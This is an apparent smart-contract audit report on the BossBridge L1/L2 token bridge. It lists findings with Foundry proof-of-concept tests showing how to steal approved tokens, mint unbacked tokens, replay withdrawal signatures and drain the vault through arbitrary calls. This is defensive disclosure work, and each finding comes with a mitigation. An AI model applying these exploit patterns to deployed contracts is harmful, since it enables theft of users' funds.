BossBridge Audit Report

Version 1.0

Frank.io

BossBridge Audit Report

Frank Ozoalor

March 10, 2024

Prepared by: Frank, Security Researcher:

Table of Contents

  - [H-5] `CREATE` opcode does not work on zksync era
  - [H-6] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to drain all the funds in the vault.

- Medium
  - [M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

- Low
  - [L-1] **Lack of event emission during withdrawals and sending tokens to L1**
  - [L-2] **`TokenFactory::deployToken` can create multiple token with the same symbol**
  - [L-3] **Unsupported opcode PUSH0**

Protocol Summary

This project presents a bridge mechanism to move ERC20 token from L1 to an L2 we're building. In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that an off-chain mechanism picks up, parses it and mints the corresponding tokens on L2

Disclaimer

This audit makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. An audit by Frank is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M

		Impact		
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

Audit Details

Scope

```
./src/
#--L1BossBridge.sol
#--L1Token.sol
#--L1Vault.sol
#--TokenFactory.sol

- Solc Version: 0.8.20
- Chain(s) to deploy contracts to:

-    Ethereum Mainnet:
        L1BossBridge.sol
        L1Token.sol
        L1Vault.sol
        TokenFactory.sol
-    ZKSync Era:
        TokenFactory.sol
-    Tokens:
        L1Token.sol (And copies, with different names & initial
            supplies)
```

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can “send” a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

Issues found

Severity	Number of issues found
High	6
Medium	1
Low	3
Total	10

Findings

High

[H-1] Users who give token approval to L1BossBridge may have those tokens stolen by a malicious actor

Description The `depositTokensToL2` function allows anyone to call it with a `from` address of any account that has approved tokens to the bridge.

As a consequence, an attacker can move tokens out of any victim account whose token allowance to the bridge is greather than zero. steps to reproduce

1. Alice approves Bridge of 500 tokens
2. Bob sees the approval and calls `depositTokensToL2` passing in alice address as from address and his address as the l2Recipient, hence stealing the token amount approved by alice.

```
    function depositTokensToL2(
        address from,
        address l2Recipient,
        uint256 amount
    ) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
        token.safeTransferFrom(from, address(vault), amount);
        emit Deposit(from, l2Recipient, amount);
    }
```

Impact Malicious user can steal all the approved tokens of other users

Proof of Concept Paste the following code in L1TokenBridge.t.sol

```
    function testCanMoveApprovedTokensOfOtherUsers() public {
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);
        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
    }
```

Recommended Mitigation Consider modifying the `depositTokensToL2` function so that the caller cannot specify the `from` address

```
+ function depositTokensToL2(address l2Recipient,uint256 amount )
    external whenNotPaused {

-    function depositTokensToL2( address from, address l2Recipient,
    uint256 amount) external whenNotPaused {
        if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
            revert L1BossBridge__DepositLimitReached();
        }
+       token.safeTransferFrom(msg.sender, address(vault), amount);
-          token.safeTransferFrom(from, address(vault), amount);

+       emit Deposit(msg.sender, l2Recipient, amount);
-       emit Deposit(from, l2Recipient, amount);
    }
```

[H-2] Calling `depositTokensToL2` from the vault contract to the vault contract allows infinite miniting of unbacked tokens

Description `depositTokensToL2` function allows the caller to specify the `from` address, from which tokens are taken

Because the vault grants infinite approval to the bridge already, its possible for an attacker to call the `depositTokensToL2` function and transfer tokens from the vault to the vault itself which would trigger the deposit event any number of times, presumably causing the minting of unbacked tokens in L2.

Additionally, they could mint all the tokens to themselves

Proof of Concept

```
    function testCanTransferFromValutToVault() public {
        address attacker = makeAddr("attacker");

        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);
        //We can do this forever
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker,
            vaultBalance);
    }
```

Recommended Mitigation As suggested in `H-1`, consider modifying the `depositTokensToL2` function so that the caller cannot specify a `from` address

[H-3] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by signature to be replayed

Description Users who want to withdraw tokens from the bridge can call the `sendToL1` function or the wrapper `withdrawTokensToL1` function. These functions require the caller to send along some withdrawals data signed by one of the approved bridge operators.

However, the signature do not include any kind of replay-protection mechanism. Therefore, valid signatures from any bridge operator can be resued by an attacker to continue excuting withdrawals until the vault is completely drained.

Proof of Concept Incude the following test in the L1TokenBridge.t.sol

```
   function testSignatureReplay() public {
        address attacker = makeAddr("attacker");
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance)
            ;

        //An attacker deposits tokens to L2
        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(
            attacker,
```

```
            attacker,
            attackerInitialBalance
        );

        //Signer/Operator is going to sign the withdrawal
        bytes memory message = abi.encode(
            address(token),
            0,
            abi.encodeCall(
                IERC20.transferFrom,
                (address(vault), attacker, attackerInitialBalance)
            )
        );

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            operator.key,
            MessageHashUtils.toEthSignedMessageHash(keccak256(message))
        );

        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(
                attacker,
                attackerInitialBalance,
                v,
                r,
                s
            );
        }
        assertEq(
            token.balanceOf(address(attacker)),
            attackerInitialBalance + vaultInitialBalance
        );
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation consider redesigning the withdrawal mechanism so that it includes replay protection

[H-4] `L1BossBridge::sendToL1` allows arbitary calls enables users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description The L1BossBridge contract includes the `sendToL1` function that, if called with a valid signature by an operator, can execute arbitary low-level calls to any given target. Because there is no restriction neither on the target nor the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge for example, the `LIVault` contract.

The L1BossBridge contract owns the L1Vault contract. Therefore, an attacker could submit a call that

targets the vault and executes it's `approveTo` function, passing an attacker-controlled address to increase its allowance. This would then allow the attacker to completely drain the vault.

It's worth noting that this attack's likelihood depends on the level of sophistication of the offchain validation implemented by the operator that approve and sign withdrawals. However, we are rating it as a High severity issue because, according to the avaliable documentation, the only validation made by offchain services is that "the account submitting the withdrawals has first originated as a sucessful deposit in the L1 part of the bridge. As the POC shows, such validation is not enough to prevent the attacker.

Proof of Concept To reproduce, include the following test in the `L1BossBridge.t.sol` file

```
    function testCanCallVaultApproveFromBridgeAndDrainVault() public {
        address attacker = makeAddr("attacker");
        uint256 vaultInitialBalance = 1000e18;
        deal(address(token), address(vault), vaultInitialBalance);

        //An attacker deposits tokens to L2, we do this under the assumption
        // that the bridge operator needs to see a valid deposit tx to then allow
        //us to request a withdrawals
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(attacker), address(0), 0);
        tokenBridge.depositTokensToL2(attacker, address(0), 0);

        //Under the assumption that the bridge operator doesnt validate bytes being signed
        bytes memory message = abi.encode(
            address(vault),
            0,
            abi.encodeCall(
                L1Vault.approveTo,
                (address(attacker), type(uint256).max)
            )
        );
        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message, operator.key);

        tokenBridge.sendToL1(v, r, s, message);
        assertEq(token.allowance(address(vault), attacker), type(uint256).max);
        token.transferFrom(
            address(vault),
            attacker,
            token.balanceOf(address(vault))
        );
    }
```

Recommended Mitigation Consider disallowing attacker-controlled external calls to sensitive components of the bridge such as the `L1Vault` contract

[H-5] CREATE opcode does not work on zksync era

Description According to zkysnc documentation, to gurantee that create/create 2 operate correctly, the compiler must be aware of the bytecode of the deployed contract in advance, which wasn't the case in `TokenFactory::deployToken()`

```
1    function deployToken(string memory symbol, bytes memory
        contractBytecode) public onlyOwner returns (address addr) {
2        assembly {
3            addr := create(0, add(contractBytecode, 0x20), mload(
                contractBytecode))
4        }
5        s_tokenToAddress[symbol] = addr;
6        emit TokenDeployed(symbol, addr);
7    }
```

The above code will not function correctly because the compiler is not aware of the bytecode beforehand.

Recommended Mitigation Go through the zkySync Evm instructions for create and create2 and implement accordingly

[H-6] The `L1BossBridge::withdrawTokensToL1` function has no validation on the withdrawal amount being the same as the deposited amount in `L1BossBridge::depositTokensToL2`, allowing attacker to drain all the funds in the vault.

Description In the `withdrawTokensToL1` there is no mapping or check to ensure a user is not withdrawing more than he deposited, Therefore a user can deposit little amount of ether in the contract and withdraw all drain all the funds in the vault.

Proof of Concept paste the following code in L1TokenBridge.t.sol

```
1    function testCanWithdrawMorethanDeposited() public {
2        vm.prank(user);
3        token.approve(address(tokenBridge), type(uint256).max);
4        uint256 depositAmount = token.balanceOf(user);
5        deal(address(token), address(vault), 2000e18);
6        vm.expectEmit(address(tokenBridge));
7        emit Deposit(user, user, depositAmount);
8        tokenBridge.depositTokensToL2(user, user, depositAmount);
9        uint256 vaultBalance = token.balanceOf(address(vault));
10
```

```
        //Withdraw Morethan deposited, withdrawing 2000 ether
        bytes memory message = abi.encode(
            address(token),
            0,
            abi.encodeCall(
                IERC20.transferFrom,
                (address(vault), user, vaultBalance)
            )
        );

        (uint8 v, bytes32 r, bytes32 s) = vm.sign(
            operator.key,
            MessageHashUtils.toEthSignedMessageHash(keccak256(message))
        );

        tokenBridge.withdrawTokensToL1(user, vaultBalance, v, r, s);

        assertEq(token.balanceOf(user), vaultBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation Add a mapping to store user's deposited funds and while withdrawing, ensure that user is not withdrawing more than deposited.

```
+     mapping(address account => uint256 amount) public userDeposit;
+     error L1BossBridge__AmountGrtDeposit();

 function depositTokensToL2(address l2Recipient, uint256 amount)
    external whenNotPaused {
.
.
.
+       userDeposit[msg.sender] += amount;
        token.safeTransferFrom(from, address(vault), amount);

 function withdrawTokensToL1(address to, uint256 amount, uint8 v,
    bytes32 r, bytes32 s) external {
+       uint256 withdrawableAmount = userDeposit[msg.sender];
+       if (amount > withdrawableAmount)
+           revert L1BossBridge__AmountGrtDeposit();
+     userDeposit[msg.sender] -= amount;
      sendToL1(v, r,s
.
.
.
```

Medium

[M-1] Withdrawals are prone to unbounded gas consumption due to return bombs

Description During withdrawals, the L1 part of the bridge executes a lowlevel call to an arbitary target, passing all available gas. While this would work fine for regular targets, it may not for adversarial ones.

In particular, a malicious target may drop a return bomb to the caller. This would be done by returning an large amount of return data in the call, which solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction gas limit sensibly, and therefore be tricked to spend more Eth than necessary to execute the call.

Recommended Mitigation If the external call's return data is not being used, then consider modifying the call to avoid copying any of the data. This can be done in a custom implementation, or reusing external libraries such as this one

Low

[L-1] Lack of event emission during withdrawals and sending tokens to L1

Description Neither the `sendToL1` function nor the `withdrawTokensToL1` function emit an event when a withdrawal operation is successfully executed. This prevents offchain monitoring mechanism to monitor withdrawals and raise alerts on suspicious scenarios

Recommended Mitigation Modify the `sendToL1` function to include a new event that is always emitted upon completing withdrawals

[L-2] `TokenFactory::deployToken` can create multiple token with the same symbol

Description In `deployToken`, there is no check to ensure that token symbol passed has not being used to create another token, therefore owner can create multiple tokens with the same tokenSymbol which can be misleading to users

Recommended Mitigation Add a check to ensure that the token symbol passed has not been used for another token.

[L-3] Unsupported opcode PUSH0

All of the contracts in scope have the version pragma fixed to be compiled using Solidity 0.8.20. This new version of the compiler uses the new PUSH0 opcode introduced in the Shanghai hard fork, which is now the default EVM version in the compiler and the one being currently used to compile the project. The issue is that zksync does not support the PUSH0 opcode therefore this can potentially break counterfactuality.

Recommended Mitigation Change the Solidity compiler version to 0.8.19 or define an evm version, which is compatible with zksync